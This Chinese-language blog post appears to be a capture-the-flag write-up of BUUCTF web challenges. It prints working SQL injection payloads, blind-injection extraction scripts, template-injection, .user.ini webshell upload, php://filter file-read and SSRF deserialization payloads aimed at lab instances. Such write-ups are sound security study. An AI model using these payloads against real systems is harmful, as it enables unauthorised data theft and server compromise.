BUUCTF刷题记录

文章目录

  • web:
    • [强网杯 2019]随便注
    • [护网杯 2018]easy_tornado
    • [SUCTF 2019]EasySQL
    • [HCTF 2018]admin
    • [RoarCTF 2019]Easy Calc
    • [强网杯 2019]高明的黑客
    • [SUCTF 2019]CheckIn
      • 方法一:正常文件上传
      • 方法二:直接执行命令查看flag
    • [极客大挑战 2019]EasySQL
    • [CISCN2019 华北赛区 Day2 Web1]Hack World
    • [极客大挑战 2019]Havefun
    • [极客大挑战 2019]Secret File
    • [网鼎杯 2018]Fakebook
      • 预期
      • 非预期

web:

[强网杯 2019]随便注

注意表的两端两边要加:``
1' ; show databases;#查看数据库
BUUCTF刷题记录_第1张图片

1' ;show tables;#查看表
BUUCTF刷题记录_第2张图片
0'; show columns from words ;#查看words表中字段
BUUCTF刷题记录_第3张图片
0';show columns from 1919810931114514;#
BUUCTF刷题记录_第4张图片
发现flag,然后看了师傅的文章发现:

  1. 将words表改名为word1或其它任意名字

  2. 1919810931114514改名为words

  3. 将新的word表插入一列,列名为id

  4. 将flag列改名为data

1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

BUUCTF刷题记录_第5张图片
最后1’ or 1=1 #得到flag
BUUCTF刷题记录_第6张图片
看了另一篇文章发现还可以用handler代替select查询
1'; handler 1919810931114514 open as y1ng; handler y1ng read first; handler y1ng close;#
BUUCTF刷题记录_第7张图片

[护网杯 2018]easy_tornado

render是模板注入,由于不了解,看wp
BUUCTF刷题记录_第8张图片
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

error?msg={{1*2}}
BUUCTF刷题记录_第9张图片
获取cookie_secret:error?msg={{handler.settings}}
BUUCTF刷题记录_第10张图片
根据获得的cookie_secret构造md5(cookie_secret+md5(filename)),python脚本如下:

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="2ad0f0aa-09ba-4658-b836-3f024bcb6702"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

运行得到cdc288af8c27adc5ceea4581b0b94d46
在这里插入图片描述
file?filename=/fllllllllllllag&filehash=cdc288af8c27adc5ceea4581b0b94d46得到flag
BUUCTF刷题记录_第11张图片

[SUCTF 2019]EasySQL

不会。。。查看wp的时候得到了源码:


    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>



    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

预期:1;set sql_mode=pipes_as_concat;select 1
pipes_as_concat:将“||”视为字符串的连接操作符而非或运算符,将前一个字段的查询结果和后一个字段查询结果进行拼接
BUUCTF刷题记录_第12张图片
非预期:*,1
*号为查询所有数据
BUUCTF刷题记录_第13张图片

[HCTF 2018]admin

直接给链接看了,师傅tql:HCTF2018-admin
不知道是否可以爆破(没试)。。。。账号:admin,密码:123即可登录得到flag
BUUCTF刷题记录_第14张图片
下面这种情况字符串无论进行多少次lower()都会得到一个结果,因此lower()方法具有幂等性
在这里插入图片描述
注册一个ᴬᴰmin账号,传入的数据会进行一次转化,这时ᴬᴰmin–>ADmin,服务器端会判断该用户是否存在,然后成功注册
BUUCTF刷题记录_第15张图片
账号成功登录,并且变为ADmin
BUUCTF刷题记录_第16张图片
然后再更改密码,用admin和自己更改的密码登录,得到flag
BUUCTF刷题记录_第17张图片

[RoarCTF 2019]Easy Calc

假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

在calc.php得到源码
BUUCTF刷题记录_第18张图片
? num可绕过waf检测,并执行了php语句
BUUCTF刷题记录_第19张图片
接下来要查看目录文件
BUUCTF刷题记录_第20张图片
构造? num=1;var_dump(scandir(chr(47)))char(47)是 / 的ascii码,也可以用hex2bin(dechex(47))
在这里插入图片描述
得到了f1agg,我们查看文件即可
BUUCTF刷题记录_第21张图片
构造 ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
BUUCTF刷题记录_第22张图片

可参考文章:利用PHP的字符串解析特性Bypass

[强网杯 2019]高明的黑客

先下载源码,然后看师傅的wp
BUUCTF刷题记录_第23张图片
下载源码,打开是几千个php文件,而且很乱,根本没法看,不过里面包含很多shell,那么我们就要找到有用的shell。
利用师傅脚本得到有用的shell即可,

强网杯upload&&高明的黑客&&随便注 复现

[SUCTF 2019]CheckIn

方法一:正常文件上传

上传php文件返回:非法后缀
BUUCTF刷题记录_第24张图片
上传.htaccess返回exif_imagetype:not image
BUUCTF刷题记录_第25张图片
上传xxx.jpg返回 BUUCTF刷题记录_第26张图片
接下来是我的上传误区!!!
把一句话改为如下进行上传,成功过滤 GIF89a

BUUCTF刷题记录_第27张图片
那么试着改文件类型将.htaccess上传
BUUCTF刷题记录_第28张图片
上传都成功了,试着访问发现:失败。查看wp发现:htaccess有局限性,只能是apache
这里有新的知识点:
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。在.user.ini写入代码如下,上传

GIF89a
auto_prepend_file=a.jpg

这里注意由于upload/文件夹下有index.php,会包含a.jpg,所以成功了
BUUCTF刷题记录_第29张图片
接下来蚁剑连接即可得到flag
BUUCTF刷题记录_第30张图片

方法二:直接执行命令查看flag

假若一句话木马被禁了,那么我们还可以命令执行得到flag
GIF89a

在这里插入图片描述
在根目录发现flag,将执行语句改为



在这里插入图片描述
不好的地方就是要重复上传a.jpg可能会出现问题
参考:[SUCTF 2019]CheckIn

[极客大挑战 2019]EasySQL

送分???????构造万能密码登录,成功得到flag
admin' or 1=1#
BUUCTF刷题记录_第31张图片
BUUCTF刷题记录_第32张图片

[CISCN2019 华北赛区 Day2 Web1]Hack World

BUUCTF刷题记录_第33张图片
sql注入的题目,有过滤,然后发现过滤了union、and、or、空格/**/,无从下手,查看了wp,发现空格其实还有很多解法的
空格可以用:%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
这里用模糊测试得出
BUUCTF刷题记录_第34张图片
BUUCTF刷题记录_第35张图片
mid,substr都没被过滤,考虑布尔盲注,用if函数判断截取出来的内容是什么,这里需要穷举。如果判断成功,返回1,否则返回2。由于题目告诉我们表和字段都为flag,可直接爆破flag的值
参考师傅的二分法脚本如下:

import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://7558e160-ede8-4f30-a7da-6b5727376b56.node3.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'

i = 6
while True:
#从可打印字符开始
    begin = 32
    end = 126
    tmp = (begin+end)//2
    while begin<end:
        print(begin,tmp,end)
        time.sleep(1)
        data["id"] = "if(ascii(substr((select	flag	from	flag),{},1))>{},1,2)".format(i,tmp)
        r = requests.post(url,data=data)
        if 'Hello' in r.text:
            begin = tmp+1
            tmp = (begin+end)//2
        else:
            end = tmp
            tmp = (begin+end)//2

    flag+=chr(tmp)
    print(flag)
    i+=1
    if flag[-1]=='}':
        break

这里buuctf限制每秒访问次数,所以加上time.sleep(1)。等了几分钟得到flag了
BUUCTF刷题记录_第36张图片
这里可以看一下源码,看看到底过滤了哪些


$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

[极客大挑战 2019]Havefun

查看源码得到了
BUUCTF刷题记录_第37张图片

    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
          echo 'Syc{cat_cat_cat_cat}';
        }
        

Syc{cat_cat_cat_cat}提交发现不对,试着传?cat=dog,就得到了flag…送分题
BUUCTF刷题记录_第38张图片

[极客大挑战 2019]Secret File

进去发现查看源码得到信息
BUUCTF刷题记录_第39张图片
接着就是访问
BUUCTF刷题记录_第40张图片
点击发现
BUUCTF刷题记录_第41张图片
回复没看清么,那么抓包试试
BUUCTF刷题记录_第42张图片
访问得到一段源码,是文件包含,并且提示flag在flag.php里面
BUUCTF刷题记录_第43张图片
直接访问?file=flag.php发现不行,用?file=php://filter/read=convert.base64-encode/resource=flag.php访问得到base64编码的源码,解码即可
BUUCTF刷题记录_第44张图片
为什么我觉得蒋璐源是女生。。。。

[网鼎杯 2018]Fakebook

进入发现一个登陆,一个注册,然后试了试没有思路,看wp
BUUCTF刷题记录_第45张图片
发现有flag.php和robots.txt,访问robots.txt可以得到user.php.bak,查看得到代码



class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

注册之后可以看到注入点get
BUUCTF刷题记录_第46张图片

预期

在注册处首先抓包,然后用sqlmap跑
BUUCTF刷题记录_第47张图片
发现表中存储的是反序列化,接下来在get处注入,有waf所以用++
?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
BUUCTF刷题记录_第48张图片
?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema='fakebook'-- +
BUUCTF刷题记录_第49张图片
?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name='users'--+
BUUCTF刷题记录_第50张图片
最后将博客地址改成file:///var/www/html/flag.php来进行序列化。
?no=0++union++select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
BUUCTF刷题记录_第51张图片
查看源码得到了一串base64的链接
BUUCTF刷题记录_第52张图片
打开即可得到flag
BUUCTF刷题记录_第53张图片

非预期

由于题目没过滤load_file,可直接盲注,师傅脚本如下

import requests

url = 'http://c824219f-cb72-4deb-afd8-c12c4f7cacf1.node3.buuoj.cn/view.php?no='
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
        response = requests.get(url + payload)
        if 'http://c824219f-cb72-4deb-afd8-c12c4f7cacf1.node3.buuoj.cn/join.php' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

跑完花了10几分钟得到了flag
BUUCTF刷题记录_第54张图片
发现其实可以直接得flag的,传参:
?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1
查看源码得到了flag
BUUCTF刷题记录_第55张图片

参考:
网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件
刷题记录:[网鼎杯]Fakebook


先到这了,文章太长不好,去肝下一篇了

你可能感兴趣的:(刷题)